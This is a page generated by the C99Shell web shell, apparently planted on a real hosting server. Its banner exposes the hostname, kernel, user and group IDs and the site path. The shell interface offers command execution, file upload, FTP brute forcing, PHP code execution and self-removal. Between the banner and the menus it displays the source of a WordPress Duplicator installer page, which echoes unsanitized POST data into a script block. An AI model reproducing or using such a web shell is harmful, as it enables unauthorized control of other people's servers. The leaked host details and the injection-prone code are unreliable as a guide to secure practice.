!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/installer/build/   drwxr-xr-x
Free 181.42 GB of 490.84 GB (36.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     view.step4.php (11.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    $_POST
['url_new']        = isset($_POST['url_new'])      ? DUPX_U::sanitize($_POST['url_new']) : '';
    
$_POST['archive_name']  = isset($_POST['archive_name']) ? $_POST['archive_name'] : '';
    
$_POST['retain_config'] = isset($_POST['retain_config']) && $_POST['retain_config'] == '1' true false;
    
$_POST['exe_safe_mode']    = isset($_POST['exe_safe_mode']) ? $_POST['exe_safe_mode'] : 0;
        
    
$admin_base        basename($GLOBALS['FW_WPLOGIN_URL']);

    
$safe_mode    $_POST['exe_safe_mode'];
    
$admin_redirect rtrim($_POST['url_new'], "/") . "/wp-admin/admin.php?page=duplicator-tools&tab=diagnostics&section=info&package={$_POST['archive_name']}&safe_mode={$safe_mode}";
    
$admin_redirect urlencode($admin_redirect);
    
$admin_url_qry  = (strpos($admin_base'?') === false) ? '?' '&';
    
$admin_login    rtrim($_POST['url_new'], '/') . "/{$admin_base}{$admin_url_qry}redirect_to={$admin_redirect}";
    
$url_new_rtrim  rtrim($_POST['url_new'], '/');

?>

<script>
    /** Posts to page to remove install files */
    DUPX.getAdminLogin = function() {
        window.open('<?php echo $admin_login?>', 'wp-admin');
    };
</script>


<!-- =========================================
VIEW: STEP 4 - INPUT -->
<form id='s4-input-form' method="post" class="content-form" style="line-height:20px">
    <input type="hidden" name="url_new" id="url_new" value="<?php echo $url_new_rtrim?>" />
    <div class="dupx-logfile-link"><a href="installer-log.txt?now=<?php echo $GLOBALS['NOW_DATE'?>" target="install_log">installer-log.txt</a></div>

    <div class="hdr-main">
        Step <span class="step">4</span> of 4: Test Site
    </div><br />

    <table class="s4-final-step">
        <tr style="vertical-align:top">
            <td><a class="s4-final-btns" href="javascript:void(0)" onclick="DUPX.getAdminLogin()">Site Login</a></td>
            <td>
                <i>Login to finalize the setup</i>
                <?php if ($_POST['retain_config']) :?>
                    <br/> <i>Update of Permalinks required see: Admin &gt; Settings &gt; Permalinks &gt; Save</i>
                <?php endif;?>
                <br/><br/>

                <!-- WARN: SAFE MODE MESSAGES -->
                <div class="s4-warn" style="display:<?php echo ($safe_mode 'block' 'none')?>">
                    <b>Safe Mode</b><br/>
                    Safe mode has <u>deactivated</u> all plugins. Please be sure to enable your plugins after logging in. <i>If you notice that problems arise when activating
                    the plugins then active them one-by-one to isolate the plugin that    could be causing the issue.</i>
                </div>
            </td>
        </tr>
        <tr>
            <td><a class="s4-final-btns" href="javascript:void(0)" onclick="$('#dup-step3-install-report').toggle(400)">Show Report</a></td>
            <td>
                <i>Optionally review the migration report</i><br/>
                <i id="dup-step3-install-report-count">
                    <span data-bind="with: status.step2">Install Notices: (<span data-bind="text: query_errs"></span>)</span> &nbsp;
                    <span data-bind="with: status.step3">Update Notices: (<span data-bind="text: err_all"></span>)</span> &nbsp; &nbsp;
                    <span data-bind="with: status.step3" style="color:#888"><b>General Notices:</b> (<span data-bind="text: warn_all"></span>)</span>
                </i>
            </td>
        </tr>
    </table>
    <br/><br/>

    <div class="s4-go-back">
        Additional Notes:
        <ul style="margin-top: 1px">
            <li>
                Review the <a href="<?php echo $url_new_rtrim?>" target="_blank">front-end</a> or
                re-run installer at <a href="<?php echo "{$url_new_rtrim}/installer.php"?>">step 1</a>
            </li>
            <li>The .htaccess file was reset.  Resave plugins that write to this file.</li>
            <li>
                Visit the <a href="installer.php?help=1#troubleshoot" target="_blank">troubleshoot</a> section or
                <a href='https://snapcreek.com/duplicator/docs/faqs-tech/?utm_source=duplicator_free&utm_medium=wordpress_plugin&utm_campaign=problem_resolution&utm_content=inst4_step4_troubleshoot' target='_blank'>online FAQs</a> for additional help.
            </li>
        </ul>
    </div>

    <!-- ========================
    INSTALL REPORT -->
    <div id="dup-step3-install-report" style='display:none'>
        <table class='s4-report-results' style="width:100%">
            <tr><th colspan="4">Database Report</th></tr>
            <tr style="font-weight:bold">
                <td style="width:150px"></td>
                <td>Tables</td>
                <td>Rows</td>
                <td>Cells</td>
            </tr>
            <tr data-bind="with: status.step2">
                <td>Created</td>
                <td><span data-bind="text: table_count"></span></td>
                <td><span data-bind="text: table_rows"></span></td>
                <td>n/a</td>
            </tr>
            <tr data-bind="with: status.step3">
                <td>Scanned</td>
                <td><span data-bind="text: scan_tables"></span></td>
                <td><span data-bind="text: scan_rows"></span></td>
                <td><span data-bind="text: scan_cells"></span></td>
            </tr>
            <tr data-bind="with: status.step3">
                <td>Updated</td>
                <td><span data-bind="text: updt_tables"></span></td>
                <td><span data-bind="text: updt_rows"></span></td>
                <td><span data-bind="text: updt_cells"></span></td>
            </tr>
        </table>
        <br/>

        <table class='s4-report-errs' style="width:100%; border-top:none">
            <tr><th colspan="4">Report Notices</th></tr>
            <tr>
                <td data-bind="with: status.step2">
                    <a href="javascript:void(0);" onclick="$('#dup-step3-errs-create').toggle(400)">Step 2: Install Notices (<span data-bind="text: query_errs"></span>)</a><br/>
                </td>
                <td data-bind="with: status.step3">
                    <a href="javascript:void(0);" onclick="$('#dup-step3-errs-upd').toggle(400)">Step 3: Update Notices (<span data-bind="text: err_all"></span>)</a>
                </td>
                <td data-bind="with: status.step3">
                    <a href="#dup-step3-errs-warn-anchor" onclick="$('#dup-step3-warnlist').toggle(400)">General Notices (<span data-bind="text: warn_all"></span>)</a>
                </td>
            </tr>
            <tr><td colspan="4"></td></tr>
        </table>

        <div id="dup-step3-errs-create" class="s4-err-msg">
            <div class="s4-err-title">STEP 2 - INSTALL NOTICES:</div>
            <b data-bind="with: status.step2">ERRORS (<span data-bind="text: query_errs"></span>)</b><br/>
            <div class="info-error">
                Queries that error during the deploy step are logged to the <a href="installer-log.txt" target="dpro-installer">install-log.txt</a> file and
                and marked with an **ERROR** status.   If you experience a few errors (under 5), in many cases they can be ignored as long as your site is working correctly.
                However if you see a large amount of errors or you experience an issue with your site then the error messages in the log file will need to be investigated.
                <br/><br/>

                <b>COMMON FIXES:</b>
                <ul>
                    <li>
                        <b>Unknown collation:</b> See Online FAQ:
                        <a href="https://snapcreek.com/duplicator/docs/faqs-tech/?utm_source=duplicator_free&utm_medium=wordpress_plugin&utm_campaign=problem_resolution&utm_content=inst_step4_unknowncoll#faq-installer-110-q" target="_blank">What is Compatibility mode & 'Unknown collation' errors?</a>
                    </li>
                    <li>
                        <b>Query Limits:</b> Update MySQL server with the <a href="https://dev.mysql.com/doc/refman/5.5/en/packet-too-large.html" target="_blank">max_allowed_packet</a>
                        setting for larger payloads.
                    </li>
                </ul>
                
            </div>
        </div>

        <div id="dup-step3-errs-upd" class="s4-err-msg">
            <div class="s4-err-title">STEP 3 - UPDATE NOTICES:</div>
            <!-- MYSQL QUERY ERRORS -->
            <b data-bind="with: status.step3">ERRORS (<span data-bind="text: errsql_sum"></span>) </b><br/>
            <div class="info-error">
                Update errors that show here are queries that could not be performed because the database server being used has issues running it.  Please validate the query, if
                it looks to be of concern please try to run the query manually.  In many cases if your site performs well without any issues you can ignore the error.
            </div>
            <div class="content">
                <div data-bind="foreach: status.step3.errsql"><div data-bind="text: $data"></div></div>
                <div data-bind="visible: status.step3.errsql.length == 0">No MySQL query errors found</div>
            </div>
            <br/>

            <!-- TABLE KEY ERRORS -->
            <b data-bind="with: status.step3">TABLE KEY NOTICES (<span data-bind="text: errkey_sum"></span>)</b><br/>
            <div class="info-notice">
                Notices should be ignored unless issues are found after you have tested an installed site. This notice indicates that a primary key is required to run the
                update engine. Below is a list of tables and the rows that were not updated.  On some databases you can remove these notices by checking the box 'Enable Full Search'
                under advanced options in step3 of the installer.
                <br/><br/>
                <small>
                    <b>Advanced Searching:</b><br/>
                    Use the following query to locate the table that was not updated: <br/>
                    <i>SELECT @row := @row + 1 as row, t.* FROM some_table t, (SELECT @row := 0) r</i>
                </small>
            </div>
            <div class="content">
                <div data-bind="foreach: status.step3.errkey"><div data-bind="text: $data"></div></div>
                <div data-bind="visible: status.step3.errkey.length == 0">No missing primary key errors</div>
            </div>
            <br/>

            <!-- SERIALIZE ERRORS -->
            <b data-bind="with: status.step3">SERIALIZATION NOTICES  (<span data-bind="text: errser_sum"></span>)</b><br/>
            <div class="info-notice">
                Notices should be ignored unless issues are found after you have tested an installed site.  The SQL below will show data that may have not been
                updated during the serialization process.  Best practices for serialization notices is to just re-save the plugin/post/page in question.
            </div>
            <div class="content">
                <div data-bind="foreach: status.step3.errser"><div data-bind="text: $data"></div></div>
                <div data-bind="visible: status.step3.errser.length == 0">No serialization errors found</div>
            </div>
            <br/>

        </div>


        <!-- WARNINGS-->
        <div id="dup-step3-warnlist" class="s4-err-msg">
            <a href="#" id="dup-step3-errs-warn-anchor"></a>
            <b>GENERAL NOTICES</b><br/>
            <div class="info">
                The following is a list of notices that may need to be fixed in order to finalize your setup.  These values should only be investigated if your running into
                issues with your site. For more details see the <a href="https://codex.wordpress.org/Editing_wp-config.php" target="_blank">WordPress Codex</a>.
            </div>
            <div class="content">
                <div data-bind="foreach: status.step3.warnlist">
                     <div data-bind="text: $data"></div>
                </div>
                <div data-bind="visible: status.step3.warnlist.length == 0">
                    No notices found
                </div>
            </div>
        </div><br/>

    </div><br/>

    <?php
        $num 
rand(1,2);
        switch (
$num) {
            case 
1:
                
$key 'free_inst_s3btn1';
                
$txt 'Want More Power?';
                break;
            case 
2:
                
$key 'free_inst_s3btn2';
                
$txt 'Go Pro Today!';
                break;
            default :
                
$key 'free_inst_s3btn2';
                
$txt 'Go Pro Today!';
        }
    
?>

    <div class="s4-gopro-btn">
        <a href="https://snapcreek.com/duplicator/?utm_source=duplicator_free&utm_medium=wordpress_plugin&utm_campaign=duplicator_pro&utm_content=<?php echo $key;?>" target="_blank"> 
            <?php echo $txt;?>
        </a>
    </div>
    <br/><br/><br/>
</form>

<?php
    
//Sanitize
    
$json_result true;
    
$json_data   utf8_decode(urldecode($_POST['json']));
    
$json_decode json_decode($json_data);
    if (
$json_decode == NULL || $json_decode == FALSE) {
        
$json_data  "{'json reset invalid form value sent'}";
        
$json_result false;
    }
?>

<script>
<?php if ($json_result) : ?>
    MyViewModel = function() {
        this.status = <?php echo $json_data?>;
        var errorCount =  this.status.step2.query_errs || 0;
        (errorCount >= 1 )
            ? $('#dup-step3-install-report-count').css('color', '#BE2323')
            : $('#dup-step3-install-report-count').css('color', '#197713');
    };
    ko.applyBindings(new MyViewModel());
<?php else: ?>
    console.log("Cross site script attempt detected, unable to create final report!");
<?php endif; ?>
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0069 ]--